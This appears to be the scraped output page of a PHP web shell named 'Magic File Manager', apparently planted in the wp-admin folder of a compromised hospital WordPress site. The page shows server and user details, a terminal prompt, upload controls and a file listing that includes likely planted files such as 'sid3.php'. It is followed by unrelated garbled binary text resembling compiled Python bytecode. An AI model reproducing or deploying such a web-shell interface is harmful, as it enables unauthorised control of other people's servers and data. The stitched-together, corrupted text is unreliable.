✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
Ë â{|j4ãón—dZddlmZddlmZdgZGd„d«Zed„«ZGd„d«Zdd l m Z m Z y ) a( Thread-local objects. (Note that this module provides a Python version of the threading.local class. Depending on the version of Python you're using, there may be a faster one available. You should always import the `local` class from `threading`.) Thread-local objects support the management of thread-local data. If you have data that you want to be local to a thread, simply create a thread-local object and use its attributes: >>> mydata = local() >>> mydata.number = 42 >>> mydata.number 42 You can also access the local-object's dictionary: >>> mydata.__dict__ {'number': 42} >>> mydata.__dict__.setdefault('widgets', []) [] >>> mydata.widgets [] What's important about thread-local objects is that their data are local to a thread. If we access the data in a different thread: >>> log = [] >>> def f(): ... items = sorted(mydata.__dict__.items()) ... log.append(items) ... mydata.number = 11 ... log.append(mydata.number) >>> import threading >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() >>> log [[], 11] we get different data. Furthermore, changes made in the other thread don't affect data seen in this thread: >>> mydata.number 42 Of course, values you get from a local object, including a __dict__ attribute, are for whatever thread was current at the time the attribute was read. For that reason, you generally don't want to save these values across threads, as they apply only to the thread they came from. You can create custom local objects by subclassing the local class: >>> class MyLocal(local): ... number = 2 ... def __init__(self, /, **kw): ... self.__dict__.update(kw) ... def squared(self): ... return self.number ** 2 This can be useful to support default values, methods and initialization. Note that if you define an __init__ method, it will be called each time the local object is used in a separate thread. This is necessary to initialize each thread's dictionary. Now if we create a local object: >>> mydata = MyLocal(color='red') Now we have a default number: >>> mydata.number 2 an initial color: >>> mydata.color 'red' >>> del mydata.color And a method that operates on the data: >>> mydata.squared() 4 As before, we can access the data in a separate thread: >>> log = [] >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() >>> log [[('color', 'red')], 11] without affecting this thread's data: >>> mydata.number 2 >>> mydata.color Traceback (most recent call last): ... AttributeError: 'MyLocal' object has no attribute 'color' Note that subclasses can define slots, but they are not thread local. They are shared across threads: >>> class MyLocal(local): ... __slots__ = 'number' >>> mydata = MyLocal() >>> mydata.number = 42 >>> mydata.color = 'red' So, the separate thread: >>> thread = threading.Thread(target=f) >>> thread.start() >>> thread.join() affects what we see: >>> mydata.number 11 >>> del mydata é)Úref)ÚcontextmanagerÚlocalcó&—eZdZdZdZd„Zd„Zd„Zy)Ú _localimplz#A class managing thread-local dicts)ÚkeyÚdictsÚ localargsÚ locallockÚ __weakref__cóJ—dtt|««z|_i|_y)Nz_threading_local._localimpl.)ÚstrÚidrr )Úselfs ú)/usr/lib64/python3.12/_threading_local.pyÚ__init__z_localimpl.__init__–s€ð2´C¼¸4»³MÑAˆŒàˆ� ócóL—t«}|jt|«dS)zPReturn the dict for the current thread. Raises KeyError if none defined.é)Úcurrent_threadr r)rÚthreads rÚget_dictz_localimpl.get_dictžs$€ô Ó!ˆØ�z‰zœ"˜V›*Ñ% aÑ(Ð(rcó܇‡—i}|j}t«}t|«}|fˆfd„ }|fˆfd„ }t||«Št||«Š‰|j|<‰|f|j |<|S)z8Create a new dict for the current thread, and return it.có4•—‰«}|�|j|=yy©N)Ú__dict__)Ú_rrÚwrthreads €rÚ local_deletedz-_localimpl.create_dict..local_deletedªs!ø€á“ZˆFØÐ!Ø—O‘O CÑ(ð"rcóP•—‰«}|�|jj|«}yyr)r Úpop)rÚidtrÚdctÚwrlocals €rÚthread_deletedz._localimpl.create_dict..thread_deleted¯s)ø€ñ “IˆEØÐ Ø—k‘k—o‘o cÓ*‘ð!r)rrrrrr ) rÚ localdictrrr"rr%r$rs @@rÚ create_dictz_localimpl.create_dict¤stù€àˆ Ø�h‰hˆÜÓ!ˆÜ�‹jˆØ!$õ )ð #&õ +ô�d˜MÓ*ˆÜ�v˜~Ó.ˆØ&ˆ�‰˜ÑØ" IÐ-ˆ� ‰ �3‰ØÐrN)Ú__name__Ú __module__Ú __qualname__Ú__doc__Ú __slots__rrr'©rrrr’s„Ù-ØG€Iòò)ó rrc#óRK—tj|d«} |j«}|j5tj|d|«d–—ddd«y#t$r4|j «}|j \}}|j |i|¤ŽYŒmwxYw#1swYyxYw­w)NÚ _local__implr) ÚobjectÚ__getattribute__rÚKeyErrorr'r rr Ú __setattr__)rÚimplr#ÚargsÚkws rÚ_patchr7¾s“èø€ä × "Ñ " 4¨Ó 8€Dð#Ø�m‰m‹oˆð �‹Ü×ј4 ¨SÔ1Û ÷ ˆøô ò#Ø×ÑÓ ˆØ—>‘>‰ˆˆb؈� ‰ �tÐ"˜rÔ"ð#ú÷ ˆüs>‚B'šAª B'¶BÁ B'Á:BÂB'ÂBÂB'ÂB$ B'có(—eZdZdZd„Zd„Zd„Zd„Zy)r)r/rcó—|s|r'|jtjur td«‚tj|«}t «}||f|_t «|_tj|d|«|j«|S)Nz*Initialization arguments are not supportedr/) rr0Ú TypeErrorÚ__new__rr ÚRLockr r3r')Úclsr5r6rr4s rr;z local.__new__Ïsp€Ù ‘B˜SŸ\™\¬V¯_©_Ñ<ÜÐHÓIÐ IÜ�~‰~˜cÓ"ˆÜ‹|ˆØ ˜ˆŒÜ›ˆŒÜ×ј4 °Ô6ð ×ÑÔØˆ rcóp—t|«5tj||«cddd«S#1swYyxYwr)r7r0r1©rÚnames rr1zlocal.__getattribute__Ýs#€Ü �D�\Ü×*Ñ*¨4°Ó6÷�\Š\úsŒ,¬5cóÀ—|dk(r"td|jjz«‚t|«5tj |||«cddd«S#1swYyxYw©Nrz+%r object attribute '__dict__' is read-only)ÚAttributeErrorÚ __class__r(r7r0r3)rr@Úvalues rr3zlocal.__setattr__ásQ€Ø �:Ò Ü Ø=Ø—.‘.×)Ñ)ñ*ó+ð +ô�D�\Ü×%Ñ% d¨D°%Ó8÷�\Š\ús ³AÁAcó¾—|dk(r"td|jjz«‚t|«5tj ||«cddd«S#1swYyxYwrB)rCrDr(r7r0Ú __delattr__r?s rrGzlocal.__delattr__ésO€Ø �:Ò Ü Ø=Ø—.‘.×)Ñ)ñ*ó+ð +ô�D�\Ü×%Ñ% d¨DÓ1÷�\Š\ús ³AÁAN)r(r)r*r,r;r1r3rGr-rrrrÌs„Ø*€Iò ò7ò9ó2r)rr<N) r+ÚweakrefrÚ contextlibrÚ__all__rr7rÚ threadingrr<r-rrÚrLsMðñ@õDÝ%à ˆ)€÷)ñ)ðXñ óð ÷#2ñ#2÷L,Ð+r